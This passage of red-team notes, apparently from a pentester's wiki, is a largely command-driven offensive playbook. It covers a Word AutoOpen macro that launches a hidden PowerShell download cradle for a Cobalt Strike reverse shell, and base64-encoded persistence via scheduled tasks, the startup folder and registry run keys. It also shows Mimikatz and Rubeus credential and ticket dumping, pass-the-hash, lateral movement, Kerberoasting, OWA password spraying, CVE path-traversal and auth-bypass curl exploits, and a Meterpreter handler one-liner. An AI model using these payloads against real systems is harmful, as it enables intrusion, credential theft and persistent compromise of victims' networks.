now we need to reload the system manager ``` sudo systemctl daemon-reload ``` now lets see the status of the teamserver service we created ``` sudo systemctl status teamserver.service ```

now lets start the teamserver service ``` sudo systemctl start teamserver.service ``` and lets enable the teamserver service as well ``` sudo systemctl enable teamserver.service ``` now everytime the linux machine starts the teamserver service will run automatically.

Cobakt Strike Teamserver started successfully

## Generating All Payloads using Cobalt Strike We can generate all payload in Cobalt Strike, i will choose the last option **Windows Stageless Generate All Payloads**

now all the payloads will be generated in the C:\Paylaods

## Creating Macro With Cobalt Strike We can open word and go to **View->Macros->Create Macro** Make sure you write the name **AutoOpen** and select document1 from the drop Down

Now i will write a small code to open notepad ``` Sub AutoOpen() Dim Shell As Object Set Shell = CreateObject("wscript.shell") Shell.Run "notepad" End Sub ``` then we need to save it and run it and we will see notepad running

### Macro For Reverse Shell in Cobalt Strike Now i will use the Cobalt Strike Scripted Web Delivery to Host a payload and get a reverse shell

now my payload will be hosted and we will get the following command which we can insert in the macro and once the macro ``` powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.50:80/a'))" ```

below is how the final code will look like, **make sure you use 2 double quots to escape** ``` Sub AutoOpen() Dim Shell As Object Set Shell = CreateObject("wscript.shell") Shell.Run "powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://10.10.5.50:80/a'))""" End Sub ```

in site management i can see that my payload is hosted and listening on port 80

once someone opens the macro i will get a reverse shell in my cobalt strike

## Cobalt Strike Commands ```python ps ----> to see the processes so we can see the AV or Endpoint Protection Processes execute-assembly ---> (executable-file) ----> execute-assembly seatbelt.exe -group=system ---> run any exectubale file using this Screenshots ----> take screenshots keylogger -----> record what the target is typing Clipboard ----> this will show us what he has copied to clipboard (not images) net logons ----> we will see that which users have logged into the system in the past and currently as well ``` ## Persistence Techniques Persistence is a method of regaining or maintaining access to a compromised machine, without having to exploit the initial compromise steps all over again. Workstations are volatile since users tend to logout or reboot them frequently. If you've gained initial access through a phishing campaign, it's unlikely you'll be able to do so again if your current Beacon is lost, which could be the end of the engagement. If you're on an assume-breach (or indeed in this lab) and have access to an internal host, the loss of complete access to the environment is less of a concern. However, you may still need to drop one or more persistence mechanisms on hosts you control if your simulated threat would also do so. **Common userland persistence methods include:** * **HKCU / HKLM Registry Autoruns** * **Scheduled Tasks** * **Startup Folder** **Cobalt Strike doesn't include any built-in commands specifically for persistence.** [**SharPersist**](https://github.com/fireeye/SharPersist) **is a Windows persistence toolkit written by FireEye. It's written in C#, so can be executed via `execute-assembly`.** ### Persistence using Task Scheduler The Windows Task Scheduler allows us to create "tasks" that execute on a pre-determined trigger. That trigger could be a time of day, on user-logon, when the computer goes idle, when the computer is locked, or a combination thereof. i will now first convert the powershell download cradle into base64 so i can get rid of the double quotations and special characters problem

$str = 'IEX ((new-object net.webclient).downloadstring("http://nickelviper.com/a"))'

[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

Now i will use SharpPersist ``` execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA" -n "Updater" -m add -o hourly ```

i can confirm on the target system as well by going to the task scheduler as well.

### Persistence Using Startup Folder Applications, files and shortcuts within a user's startup folder are launched automatically when they first log in. It's commonly used to bootstrap the user's home environment (set wallpapers, shortcut's etc). ``` execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA" -f "UserEnvSetup" -m add ```

We can go to the startup folder on the target machine to confirm ``` C:\Users\Programmerboy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ ```

### Persistence Using Registry AutoRuns AutoRun values in HKCU and HKLM allow applications to start on boot. You commonly see these to start native and 3rd party applications such as software updaters, download assistants, driver utilities and so on. For this we need to uplaod our exe file to the target machine and then set it to run on every boot

``` execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t reg -c "C:\ProgramData\Updater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add ```

## Mimikatz in Cobalt Strike Cobalt Strike has a built-in version of Mimikatz that we can use to extract various credential types. However, there are some differences with how it behaves in Beacon compared to the console version. Each time you execute Mimikatz in Beacon, it does so in a new temporary process which is then destroyed. This means you can't run two "related" commands, such as: ``` beacon> mimikatz token::elevate beacon> mimikatz lsadump::sam ``` Since CS 4.8, you can chain multiple commands together by separating them with a semi-colon. ``` beacon> mimikatz token::elevate ; lsadump::sam ``` The `!` elevates Beacon to SYSTEM before running the given command, which is useful in cases where you're running in high-integrity but need to impersonate SYSTEM. In most cases, `!` is a direct replacement for `token::elevate`. For example: ``` beacon> mimikatz !lsadump::sam ``` ### NTLM Hashes ``` beacon> mimikatz !sekurlsa::logonpasswords ``` We can alos use shorthand command for this in cobalt strike ``` logonpasswords ```

### Kerberos Encryption keys ``` beacon> mimikatz !sekurlsa::ekeys ```

### SAM File The Security Account Manager (SAM) database holds the NTLM hashes of local accounts only. These can be extracted with the `lsadump::sam` Mimikatz module. If a common local administrator account is being used with the same password across an entire environment, this can make it very trivial to move laterally. ``` beacon> mimikatz !lsadump::sam ```

### Domain Cached Creds Unfortunately, the hash format is not NTLM so it can't be used with pass the hash. The only viable use for these is to crack them offline. The `lsadump::cache` Mimikatz module can extract these from `HKLM\SECURITY`. ``` mimikatz !lsadump::cache ``` To crack these with [hashcat](https://hashcat.net/hashcat/), we need to transform them into the expected format. The [example hashes page](https://hashcat.net/wiki/doku.php?id=example_hashes) shows us it should be `$DCC2$##`. ### Extracting Kerberos Tickets One unfortunate consequence of the aforementioned techniques is that they obtain handles to sensitive resources, which can be audited and logged quite easily. [Rubeus](https://github.com/GhostPack/Rubeus) is a C# tool designed for Kerberos interaction and abuses, using legitimate Windows APIs. Its `triage` command will list all the Kerberos tickets in your current logon session and if elevated, from all logon sessions on the machine. ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage ``` Rubeus' `dump` command will extract these tickets from memory - but because it uses WinAPIs, it does not need to open suspicious handles to LSASS. If not elevated, we can only pull tickets from our own session. Without any further arguments, Rubeus will extract all tickets possible, but we can be more specific by using the `/luid` and `/service` parameters. For example, if we only wanted the TGT for jking, we can do: ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x7049f /service:krbtgt ``` ### DCSync The [Directory Replication Service (MS-DRSR) protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47) is used to synchronise and replicate Active Directory data between domain controllers. DCSync is a technique which leverages this protocol to extract username and credential data from a DC. Beacon has a dedicated `dcsync` command, which calls `mimikatz lsadump::dcsync` in the background. ## Domain Reconnaisance' ### Powerview First we will Import it in the memory ``` beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1 ``` We can run the following Commands to Enumerate the Domain **To Get Information about the domain** ``` beacon> powershell Get-Domain ``` **Returns the domain controllers for the current or specified domain.** ``` beacon> powershell Get-DomainController | select Forest, Name, OSVersion | fl ``` **Returns all domains for the current forest or the forest specified by `-Forest`.** ``` beacon> powershell Get-ForestDomain ``` **Returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller. Useful for finding information such as the domain password policy.** ``` beacon> powershell Get-DomainPolicyData | select -expand SystemAccess ``` **Return all (or specific) user(s). To only return specific properties, use `-Properties`. By default, all user objects for the current domain are returned, use `-Identity` to return a specific user.** ``` beacon> powershell Get-DomainUser -Identity jking -Properties DisplayName, MemberOf | fl ``` **Return all computers or specific computer objects.** ``` beacon> powershell Get-DomainComputer -Properties DnsHostName | sort -Property DnsHostName ``` **Search for all organization units (OUs) or specific OU objects.** ``` beacon> powershell Get-DomainOU -Properties Name | sort -Property Name ``` **Return all domain groups or specific domain group objects.** ``` beacon> powershell Get-DomainGroup | where Name -like "*Admins*" | select SamAccountName ``` **Return the members of a specific domain group.** ``` beacon> powershell Get-DomainGroupMember -Identity "Domain Admins" | select MemberDistinguishedName ``` **Return all Group Policy Objects (GPOs) or specific GPO objects. To enumerate all GPOs that are applied to a particular machine, use `-ComputerIdentity`.** ``` beacon> powershell Get-DomainGPO -Properties DisplayName | sort -Property DisplayName ``` **Returns all GPOs that modify local group membership through Restricted Groups or Group Policy Preferences. You can then manually find which OUs, and by extension which computers, these GPOs apply to.** ``` beacon> powershell Get-DomainGPOLocalGroup | select GPODisplayName, GroupName ``` **Enumerates the machines where a specific domain user/group is a member of a specific local group. This is useful for finding where domain groups have local admin access, which is a more automated way to perform the manual cross-referencing described above.** ``` beacon> powershell Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName | fl ``` **Return all domain trusts for the current or specified domain** ``` beacon> powershell Get-DomainTrust ``` ## User Impersonation ### Pass The Hash Attack If we have the NTLM hash of the user we can use cobalt strike to do pass the hash attack, after passing the hash we can easily List the C$ drive of the other computer to see wether we can list those or not. ``` beacon> pth DEV\jking 59fc0f884922b4ce376051134c71e22c ``` ### Pass the Ticket ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /luid:0x798c2c /ticket:doIFuj[...snip...]lDLklP ``` ## Lateral Movement Moving laterally between computers in a domain is important for accessing sensitive information/materials, and obtaining new credentials. Cobalt Strike provides three strategies for executing Beacons/code/commands on remote targets. The first and most convenient is to use the built-in `jump` command - the syntax is `jump [method] [target] [listener]`. Type `jump` to see a list of methods. This will spawn a Beacon payload on the remote target, and if using a P2P listener, will connect to it automatically. The second strategy is to use the built-in `remote-exec` command - the syntax is `remote-exec [method] [target] [command]`. Type `remote-exec` to see a list of methods. Each of these strategies are compatible with the various techniques described in the **User Impersonation** chapter. For example, you can use `pth` to impersonate a user and then `jump` to move laterally. ### Remote-exec ``` beacon> remote-exec winrm web.dev.cyberbotic.io whoami ``` ### Jump ``` beacon> jump winrm64 web.dev.cyberbotic.io smb ``` ``` beacon> jump psexec64 web.dev.cyberbotic.io smb ``` ``` beacon> jump psexec_psh web smb ``` ## Kerberoasting Using Cobalt Strike We can use **rubeus** to find and get the TGS for the kerberoastable Users, below command will find all the kerberoastable users and give us the TGS back ```python beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast /simple /nowrap ``` A much safer approach is to enumerate possible candidates first and roast them selectively. This LDAP query will find domain users who have an SPN set. ``` beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(servicePrincipalName=*))" --attributes cn,servicePrincipalName,samAccountName ``` Now I can target a specific user for kerberoasting as well, We can roast an individual account the `/user` paramete ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast /user:mssql_svc /nowrap ``` ## AS-REP Roasting Using Cobalt Strike If a user does not have Kerberos pre-authentication enabled, an AS-REP can be requested for that user, and part of the reply can be cracked offline to recover their plaintext password. As with kerberoasting, we don't want to asreproast every account in the domain. ``` beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes cn,distinguishedname,samaccountname ``` We can use the below command with rubeus to do AS-REP Roasting on user squid\_svc ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asreproast /user:squid_svc /nowrap ``` ## Unconstrained delegation using Cobalt strike This query will return all computers that are permitted for unconstrained delegation. ``` beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname ``` Rubeus `triage` will show all the tickets that are currently cached. TGTs can be identified by the krbtgt service. ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage ``` We can simply extract this TGT and leverage it via a new logon session. ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x14794e /nowrap ``` ## Microsoft Defender and Bypass ### Command to Check malicious File ``` # In Powershell Get-MpThreatDetection | Sort-Object InitialDetectionTime | Select-Object -First 5 ```

# Email Spoofing We can use **spoofy** to find out Weak Email Security, Weak email security (SPF, DMARC and DKIM) may allow us to spoof emails to appear as though they’re coming from their own domain. [Spoofy](https://github.com/MattKeeley/Spoofy) is a Python tool that can verify the email security of a given domain.

# Attacking Office 365 & Exchange In this Case scenario i have a subdomain that is mail.redacted.io, i will now password spray against this domain so that i can phish the target, for this i will use **MailSniper** {% embed url="" %} Enumerate the NetBIOS name of the target domain with `Invoke-DomainHarvestOWA`. ``` Invoke-DomainHarvestOWA -ExchHostname mail.redacted.io ```

now we need to find the valid usernames so we can do username enumeration, you can find it by alot of methods like public website or **hunter.io,** now we will start our attack on the mail subdomain, `Invoke-UsernameHarvestOWA` uses a timing attack to validate which (if any) of these usernames are valid. ``` Invoke-UsernameHarvestOWA -ExchHostname mail.redacted.io -Domain redacted.io -UserList .\Desktop\possible.txt -OutFile .\Desktop\valid.txt ```

we have found 3 valid usernames now we will try to password spray as well using mailsniper and we will use the password of Summer2022 just to test because alot of organizations are using the default password ``` Invoke-PasswordSprayOWA -ExchHostname mail.redacted.io -UserList .\Desktop\valid.txt -Password Summer2022 ```

now we have the valid username and password so we need to enumerate some more information from these valid credentials so we will try to download the GAL list which is **GLOABL ADDRESS LIST** that contains the list of emails and some other potential data ``` Get-GlobalAddressList -ExchHostname mail.redacted.io -UserName redacted.io\iyates -Password Summer2022 -OutFile .\Desktop\gal.txt ```

# Enumeration ## AWSCLI Configuration We can configure Profile using awscli ```python aws configure --profile McDuck ```

## Getting Basic Information First Thing you need to do after setting the credentials is that you need to see your details and information ```python aws sts get-caller-identity --profile user1 aws iam get-user ```

### List Groups ```bash aws --profile user4 iam list-groups-for-user --user-name r_waterhouse ```

### List Policies ``` aws --profile user4 iam list-group-policies --group-name cg-developers ```

### List Group Policy ```python aws --profile user4 iam get-group-policy --group-name cg-developers --policy-name developer_policy ```

## S3 Buckets ### List s3 Buckets ```python aws s3 ls --profile McDuck ```

### Recursively Look at the S3 Buckets We can recursively see the S3 Buckets ```python aws s3 ls s3://cg-keystore-s3-bucket-rce-webapp --recursive --profile McDuck ```

### Download Files From S3 Buckets ``` aws s3 cp s3://cg-keystore-s3-bucket-rce-webapp/cloudgoat . --profile McDuck ```

## Describe-Instances ``` aws ec2 describe-instances --profile McDuck ```

## Describe DB Instances ``` aws rds describe-db-instances --region us-east-1 ```

# Simplehelp CVE-2024-57727 [SimpleHelp](https://simple-help.com/) is a system that facilitates remote support, access, and work, among other uses. It is mainly used by IT professionals and support teams to allow them to support their users remotely. It can be installed on Linux, MS Windows, and macOS servers. CVE-2024-57727 for SimpleHelp is a path traversal vulnerability. After various vulnerabilities affecting other remote support and remote access software were discovered, Horizon3.ai was curious to check SimpleHelp’s software. In their [blog post](https://www.horizon3.ai/attack-research/disclosures/critical-vulnerabilities-in-simplehelp-remote-support-software/), they state to have discovered three vulnerabilities: [CVE-2024-57726](https://nvd.nist.gov/vuln/detail/CVE-2024-57726), [CVE-2024-57727](https://nvd.nist.gov/vuln/detail/CVE-2024-57727), and [CVE-2024-57728](https://nvd.nist.gov/vuln/detail/CVE-2024-57728) ## Vulnerability Check We can check this vulnerability by using this exploit ```python python poc.py http://10.10.161.39 ```

## Exploitation (Windows Server) We can exploit this by getting serverconfig.xml file ```python curl --path-as-is http://10.10.161.39/toolbox-resource/../resource1/../../configuration/serverconfig.xml ```

now we are able to access files on the server. ## Exploitation (Linux Server) ``` curl --path-as-is http://10.10.206.185/toolbox-resource/../secmsg/../../configuration/serverconfig.xml ``` # Next.js CVE-2025-29927 Next.js is a web development framework developed by Vercel to simplify the creation of high-performance web applications. Built on top of React, Next.js extends React’s capabilities by adding several features, such as static site generation (SSG) and server-side rendering (SSR). SSG pre-generates pages at build time, allowing faster delivery to users; moreover, SSR renders pages at request time, reducing load time. In brief, Next.js added features to improve performance and user experience. CVE-2025-29927, a recent vulnerability discovered by Rachid and Yasser Allam in Next.js, revealed that it is possible to bypass authorisation checks if they occur in middleware. Middleware is the part that grants developers control over incoming requests. It acts as a bridge between the incoming request and the routing system. The routing system is file-based, i.e., routes are created and managed by organising files and directories. This vulnerability allows attackers to bypass middleware-based authorisation, and all versions before 14.2.25 and 15.2.3 are prone to this vulnerability. ## Exploitation using Curl We can exploit this CVE by using a Special Header ```python x-middleware-subrequest: middleware ``` ``` curl -H "x-middleware-subrequest: middleware" http://10.10.207.214:3000/protected ``` ## Exploitation using BurpSuite Without Header

With Header

# Metasploit ## Msfconsole Listener 1 Liner ```python msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 191.96.31.13; set LPORT 4444; set EXITONSESSION FALSE; exploit -j" ```

# Docker For Pentesting We can use Docker for Pentesting, We can Launch our own Docker container and test for a specific Vulnerabiliy. ## Docker Commands ### List Docker Images ```python docker images ``` ### Remove Docker Images For Removing Docker Images, we first Need to see that if there are some containers which are using that image, IF YES, then we need to remove those containers first ```python docker ps -a # This list all containers ```

now i will remove these containers then you can remove the Image of MCP File System ``` docker rm ```

now we can remove the image completly. ``` docker rmi ```

and now the complete Image is Deleted